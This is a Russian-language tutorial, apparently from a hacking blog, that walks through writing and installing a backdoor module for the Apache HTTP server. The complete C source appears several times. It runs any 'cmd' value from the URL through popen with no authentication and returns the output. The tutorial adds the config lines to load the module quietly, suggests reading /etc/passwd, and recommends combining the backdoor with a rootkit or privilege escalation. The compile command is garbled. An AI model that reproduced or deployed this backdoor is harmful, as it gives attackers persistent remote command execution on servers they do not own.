Что такое HTTP-сервер Apache? HTTP-сервер Apache - это ПО с открытым исходным кодом, используемое для размещения веб-страниц. Почему именно Apache? Согласно данным netcraft, Apache имеет самую большую «долю рынка активных сайтов», что означает, что он широко используется, поэтому, если вы получите доступ к серверу, на котором размещены веб-сайты, он, скорее всего, будет использовать apache. Что именно мы собираемся делать? Загрузите хедеры разработки apache Создать собственный модуль, который будет принимать запросы типа «/obey_your_master?cmd=<command here>» и выводить результаты наших команд Установить модуль Установка хедеров разработки apache: Поскольку я использую Debian, я буду использовать менеджер пакетов aptitude. apt-get install apache2-dev Написание модуля: Давайте создадим отдельную директорию для нашего проекта и начнем писать код в нашем любимом текстовом редакторе (я использую nano) mkdir bd_modulecd cd bd_modulenano cd bd_module.c Итак, первое, что нам нужно сделать, это включить хедеры apache: #include #include "apr_hash.h" #include "ap_config.h" #include "ap_provider.h" #include "httpd.h" #include "http_core.h" #include "http_config.h" #include "http_log.h" #include "http_protocol.h" #include "http_request.h" Теперь самое интересное, давайте напишем обработчик для нашего модуля, это функция, которая будет обрабатывать наш запрос. В нашем обработчике мы проверим, стоит ли нам обрабатывать запрос, получим переменную cmd из URL, если cmd не указана, мы установим ее на команду «uname -a», которая даст нам кучу информации об ОС, затем выполним команду и выведем результат в качестве ответа. static int oym_handler(request_rec *r) { if(!r->handler || strcmp(r->handler, "obey_your_master-handler")) return(DECLINED); // Check if we need to execute this code /* Variables */ apr_table_t*GET; // Create a var table ap_args_to_table(r, &GET); // Read data from get FILE *fp; // We'll use this for popen char buff[1024]; // Buffer for output ap_set_content_type(r, "text/plain"); // Tell browsers that response is in plain text /* Get the "cmd" key from the query string, if any. */ const char *cmd = apr_table_get(GET, "cmd"); /* If no key was returned, we will set a default value instead. */ if (!cmd) cmd = "uname -a"; /* Open the command for reading. */ fp = popen(cmd, "r"); if (fp == NULL) { ap_rprintf(r, "Failed to run command\n"); return OK; } /* Read the output a line at a time - output it. */ while (fgets(buff, sizeof(buff)-1, fp) != NULL) { ap_rprintf(r, "%s", buff); } return OK; } Код static int oym_handler(request_rec *r) { if(!r->handler || strcmp(r->handler, "obey_your_master-handler")) return(DECLINED); // Check if we need to execute this code /* Variables */ apr_table_t*GET; // Create a var table ap_args_to_table(r, &GET); // Read data from get FILE *fp; // We'll use this for popen char buff[1024]; // Buffer for output ap_set_content_type(r, "text/plain"); // Tell browsers that response is in plain text /* Get the "cmd" key from the query string, if any. */ const char *cmd = apr_table_get(GET, "cmd"); /* If no key was returned, we will set a default value instead. */ if (!cmd) cmd = "uname -a"; /* Open the command for reading. */ fp = popen(cmd, "r"); if (fp == NULL) { ap_rprintf(r, "Failed to run command\n"); return OK; } /* Read the output a line at a time - output it. */ while (fgets(buff, sizeof(buff)-1, fp) != NULL) { ap_rprintf(r, "%s", buff); } return OK; } Теперь давайте зарегистрируем наш хук и объявим static void register_hooks(apr_pool_t *pool) { ap_hook_handler(oym_handler, NULL, NULL, APR_HOOK_LAST); } module AP_MODULE_DECLARE_DATA bd_module = { STANDARD20_MODULE_STUFF, NULL, /* Per-directory configuration handler */ NULL, /* Merge handler for per-directory configurations */ NULL, /* Per-server configuration handler */ NULL, /* Merge handler for per-server configurations */ NULL, /* Any directives we may have for httpd */ register_hooks /* Our hook registering function */ }; Код static void register_hooks(apr_pool_t *pool) { ap_hook_handler(oym_handler, NULL, NULL, APR_HOOK_LAST); } module AP_MODULE_DECLARE_DATA bd_module = { STANDARD20_MODULE_STUFF, NULL, /* Per-directory configuration handler */ NULL, /* Merge handler for per-directory configurations */ NULL, /* Per-server configuration handler */ NULL, /* Merge handler for per-server configurations */ NULL, /* Any directives we may have for httpd */ register_hooks /* Our hook registering function */ }; И давайте соберем все вместе: #include <stdio.h> #include "apr_hash.h" #include "ap_config.h" #include "ap_provider.h" #include "httpd.h" #include "http_core.h" #include "http_config.h" #include "http_log.h" #include "http_protocol.h" #include "http_request.h" /* ============================================================================== Our module handler: ============================================================================== */ static int oym_handler(request_rec *r) { if(!r->handler || strcmp(r->handler, "obey_your_master-handler")) return(DECLINED); // Check if we need to execute this code /* Variables */ apr_table_t*GET; // Create a var table ap_args_to_table(r, &GET); // Read data from get FILE *fp; // We'll use this for popen char buff[1024]; // Buffer for output ap_set_content_type(r, "text/plain"); // Tell browsers that response is in plain text /* Get the "cmd" key from the query string, if any. */ const char *cmd = apr_table_get(GET, "cmd"); /* If no key was returned, we will set a default value instead. */ if (!cmd) cmd = "uname -a"; /* Open the command for reading. */ fp = popen(cmd, "r"); if (fp == NULL) { ap_rprintf(r, "Failed to run command\n"); return OK; } /* Read the output a line at a time - output it. */ while (fgets(buff, sizeof(buff)-1, fp) != NULL) { ap_rprintf(r, "%s", buff); } return OK; } /* ============================================================================== The hook registration function: ============================================================================== */ static void register_hooks(apr_pool_t *pool) { ap_hook_handler(oym_handler, NULL, NULL, APR_HOOK_LAST); } /* ============================================================================== Our module name tag: ============================================================================== */ module AP_MODULE_DECLARE_DATA example_module = { STANDARD20_MODULE_STUFF, NULL, /* Per-directory configuration handler */ NULL, /* Merge handler for per-directory configurations */ NULL, /* Per-server configuration handler */ NULL, /* Merge handler for per-server configurations */ NULL, /* Any directives we may have for httpd */ register_hooks /* Our hook registering function */ }; Код #include <stdio.h> #include "apr_hash.h" #include "ap_config.h" #include "ap_provider.h" #include "httpd.h" #include "http_core.h" #include "http_config.h" #include "http_log.h" #include "http_protocol.h" #include "http_request.h" /* ============================================================================== Our module handler: ============================================================================== */ static int oym_handler(request_rec *r) { if(!r->handler || strcmp(r->handler, "obey_your_master-handler")) return(DECLINED); // Check if we need to execute this code /* Variables */ apr_table_t*GET; // Create a var table ap_args_to_table(r, &GET); // Read data from get FILE *fp; // We'll use this for popen char buff[1024]; // Buffer for output ap_set_content_type(r, "text/plain"); // Tell browsers that response is in plain text /* Get the "cmd" key from the query string, if any. */ const char *cmd = apr_table_get(GET, "cmd"); /* If no key was returned, we will set a default value instead. */ if (!cmd) cmd = "uname -a"; /* Open the command for reading. */ fp = popen(cmd, "r"); if (fp == NULL) { ap_rprintf(r, "Failed to run command\n"); return OK; } /* Read the output a line at a time - output it. */ while (fgets(buff, sizeof(buff)-1, fp) != NULL) { ap_rprintf(r, "%s", buff); } return OK; } /* ============================================================================== The hook registration function: ============================================================================== */ static void register_hooks(apr_pool_t *pool) { ap_hook_handler(oym_handler, NULL, NULL, APR_HOOK_LAST); } /* ============================================================================== Our module name tag: ============================================================================== */ module AP_MODULE_DECLARE_DATA example_module = { STANDARD20_MODULE_STUFF, NULL, /* Per-directory configuration handler */ NULL, /* Merge handler for per-directory configurations */ NULL, /* Per-server configuration handler */ NULL, /* Merge handler for per-server configurations */ NULL, /* Any directives we may have for httpd */ register_hooks /* Our hook registering function */ }; Компиляция нашего модуля: aps -c bd_module.cx Установка нашего модуля: В системе, где установлены хедеры разработки apache, вы можете установить модули с помощью команды «apxs (-i устанавливает модуль) (-a включает его) имя_модуля». apxs -i -a bd_module.la Но посмотрите правде в глаза: устанавливать хедеры разработки apache для всех систем, которыми вы владеете, просто глупо, давайте сделаем установку вручную! Сначала нам нужно скопировать наш модуль в каталог modules: cp .libs/bd_module.so /usr/lib/apache2/modules/ Теперь нам нужно добавить директивы «LoadModule» и «<Location>» в конфигурационный файл apache. Итак, давайте откроем файл конфигурации nano /etc/apache2/apache2.conf И добавьте эти строки: LoadModule bd_module /usr/lib/apache2/modules/bd_module.so <Location "/obey_your_master"> SetHandler obey_your_master-handler </Location> Код LoadModule bd_module /usr/lib/apache2/modules/bd_module.so <Location "/obey_your_master"> SetHandler obey_your_master-handler </Location> И последний шаг - перезапуск apache: systemctl restart apache2 Тестирование нашего модуля: Запустите браузер и перейдите по адресу «some_sites_address/obey_your_master». И сработало! Итак, просмотр вывода «uname -a» - круто и все такое, но давайте прочитаем файл /etc/passwd, как это делают все 1337 h4x0rs. И мы закончили! Итог:Поздравляю! Этот бэкдор выполняет команды от имени пользователя, который настроен на запуск apache, так что этот бэкдор должен использоваться с руткитом или другим методом повышения привилегий (моя статья про PrivEsc) : На этом всё Нашли ошибку - напишите